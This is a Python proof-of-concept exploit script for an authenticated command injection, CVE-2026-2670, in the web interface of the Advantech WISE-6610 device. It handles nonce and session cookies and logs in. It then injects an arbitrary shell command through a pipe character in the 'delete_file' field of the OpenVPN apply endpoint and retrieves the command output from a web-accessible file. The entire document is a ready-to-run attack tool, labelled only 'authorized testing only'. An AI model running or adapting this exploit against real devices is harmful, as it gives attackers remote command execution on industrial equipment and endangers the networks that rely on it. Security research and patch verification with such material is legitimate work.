#!/usr/bin/env python3 """ CVE-2026-2670 - Advantech WISE-6610 Command Injection Enhanced PoC with exact login request format and debug output. Usage (authorized testing only): python3 exploit.py --target http://device:8444 --cmd 'id > output.txt' --username admin --password admin --output /output.txt python3 exploit.py --target http://device:8444 --cmd 'echo "test">output.txt' --cookie sysauth=value --output /output.txt """ import requests import argparse import urllib3 import time from urllib.parse import urljoin urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) LOGIN_PATH = "/cgi-bin/luci/" VULN_PATH = "/cgi-bin/luci/admin/openvpn_apply" BASE_PATH = "/cgi-bin/luci/" # Default headers for all requests (some may be overridden per request) DEFAULT_HEADERS = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0', 'Accept-Language': 'en-GB,en;q=0.9', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', 'Priority': 'u=0' } def debug_print(debug, msg, data=None): if debug: print(f"[DEBUG] {msg}") if data is not None: print(data) def fetch_nonce(session, base_url, debug=False): """GET /cgi-bin/luci/ to obtain luci_nonce cookie and any initial session.""" nonce_url = urljoin(base_url, BASE_PATH) print(f"[*] Fetching initial cookies from {nonce_url}") headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Upgrade-Insecure-Requests': '1' } try: r = session.get(nonce_url, headers=headers, verify=False, timeout=10) debug_print(debug, f"GET {nonce_url} response status: {r.status_code}") debug_print(debug, "Response headers:", dict(r.headers)) debug_print(debug, "Cookies received:", session.cookies.get_dict()) if 'luci_nonce' in session.cookies: print(f"[+] luci_nonce obtained: {session.cookies['luci_nonce']}") return True else: print("[-] No luci_nonce cookie set in response") return False except Exception as e: print(f"[-] Error fetching nonce: {e}") return False def login(session, base_url, username, password, debug=False): """Authenticate using luci_username and luci_password.""" login_url = urljoin(base_url, LOGIN_PATH) print(f"[*] Authenticating to {login_url}") data = { "luci_username": username, "luci_password": password } headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': base_url.rstrip('/'), 'Referer': urljoin(base_url, '/cgi-bin/luci/'), 'Upgrade-Insecure-Requests': '1' } try: # Ensure we have a luci_nonce before POSTing (already fetched earlier, but double-check) if 'luci_nonce' not in session.cookies: print("[!] No luci_nonce cookie present, attempting to fetch...") if not fetch_nonce(session, base_url, debug): print("[-] Cannot proceed without luci_nonce") return None r = session.post(login_url, data=data, headers=headers, verify=False, timeout=10) debug_print(debug, f"POST {login_url} response status: {r.status_code}") debug_print(debug, "Response headers:", dict(r.headers)) debug_print(debug, "Cookies after login:", session.cookies.get_dict()) debug_print(debug, "Response body snippet:", r.text[:500]) if 'sysauth' in session.cookies: print("[+] Authentication successful") return session else: print("[-] Authentication failed (no sysauth cookie)") print(" Received cookies:", list(session.cookies.keys())) return None except Exception as e: print(f"[-] Login error: {e}") return None def inject(session, base_url, command, debug=False): """Send the command injection payload.""" vuln_url = urljoin(base_url, VULN_PATH) payload = f"123123|{command}; echo$(IFS)" data = { "act": "delete", "delete_file": payload, "openvpn_id": "1" } headers = { 'X-Requested-With': 'XMLHttpRequest', 'Origin': base_url.rstrip('/'), 'Referer': urljoin(base_url, '/cgi-bin/luci/'), 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' } print(f"[*] Sending exploit to {vuln_url}") print(f"[*] Payload: delete_file={payload}") debug_print(debug, "Request headers:", dict(session.headers)) debug_print(debug, "Cookies:", session.cookies.get_dict()) try: r = session.post(vuln_url, data=data, headers=headers, verify=False, timeout=10) debug_print(debug, f"Response status: {r.status_code}") debug_print(debug, "Response headers:", dict(r.headers)) debug_print(debug, "Response body snippet:", r.text[:500]) if r.status_code == 200: print("[+] Exploit sent successfully") else: print("[-] Unexpected response") if r.text: print("[*] Response snippet:", r.text[:200]) except Exception as e: print(f"[-] Request error: {e}") def fetch_output(session, base_url, output_path, debug=False): """Retrieve the output file via GET.""" file_url = urljoin(base_url, output_path) headers = { 'X-Requested-With': 'XMLHttpRequest', 'Origin': base_url.rstrip('/'), 'Referer': urljoin(base_url, '/cgi-bin/luci/') } print(f"[*] Attempting to retrieve {file_url} (GET)") try: r = session.get(file_url, headers=headers, verify=False, timeout=10) debug_print(debug, f"GET {file_url} response status: {r.status_code}") debug_print(debug, "Response headers:", dict(r.headers)) if r.status_code == 200: print("[+] File retrieved successfully. Contents:") print(r.text.strip()) else: print(f"[-] Failed to retrieve file. HTTP {r.status_code}") if r.status_code == 404: print("[!] File not found. Make sure the command wrote to a web-accessible location (e.g., the web root).") except Exception as e: print(f"[-] Error fetching output: {e}") def main(): parser = argparse.ArgumentParser(description="CVE-2026-2670 PoC") parser.add_argument("--target", required=True, help="Base URL (e.g., http://192.168.1.100:8443)") parser.add_argument("--cmd", required=True, help="Command to execute (e.g., 'echo \"test\">output.txt' or 'id > output.txt')") parser.add_argument("--cookie", help="sysauth cookie (if already authenticated)") parser.add_argument("--username", help="Username for login") parser.add_argument("--password", help="Password for login") parser.add_argument("--output", required=True, help="URL path to the output file (e.g., /output.txt)") parser.add_argument("--delay", type=int, default=2, help="Seconds to wait before fetching output") parser.add_argument("--debug", action="store_true", help="Enable debug output") args = parser.parse_args() session = requests.Session() session.headers.update(DEFAULT_HEADERS) # If using a pre-existing sysauth cookie, set it now. if args.cookie: session.cookies.set("sysauth", args.cookie) print("[*] Using provided sysauth cookie") # We still need luci_nonce for subsequent requests if not fetch_nonce(session, args.target, args.debug): print("[!] Could not obtain luci_nonce. Proceeding anyway, but requests may fail.") elif args.username and args.password: # First get luci_nonce (required for login) if not fetch_nonce(session, args.target, args.debug): print("[-] Failed to obtain luci_nonce. Cannot proceed with login.") return session = login(session, args.target, args.username, args.password, args.debug) if not session: return else: print("[-] Must provide either --cookie or --username/--password") return # Inject command inject(session, args.target, args.cmd, args.debug) # Wait for command execution print(f"[*] Waiting {args.delay} seconds...") time.sleep(args.delay) # Retrieve output fetch_output(session, args.target, args.output, args.debug) if __name__ == "__main__": main()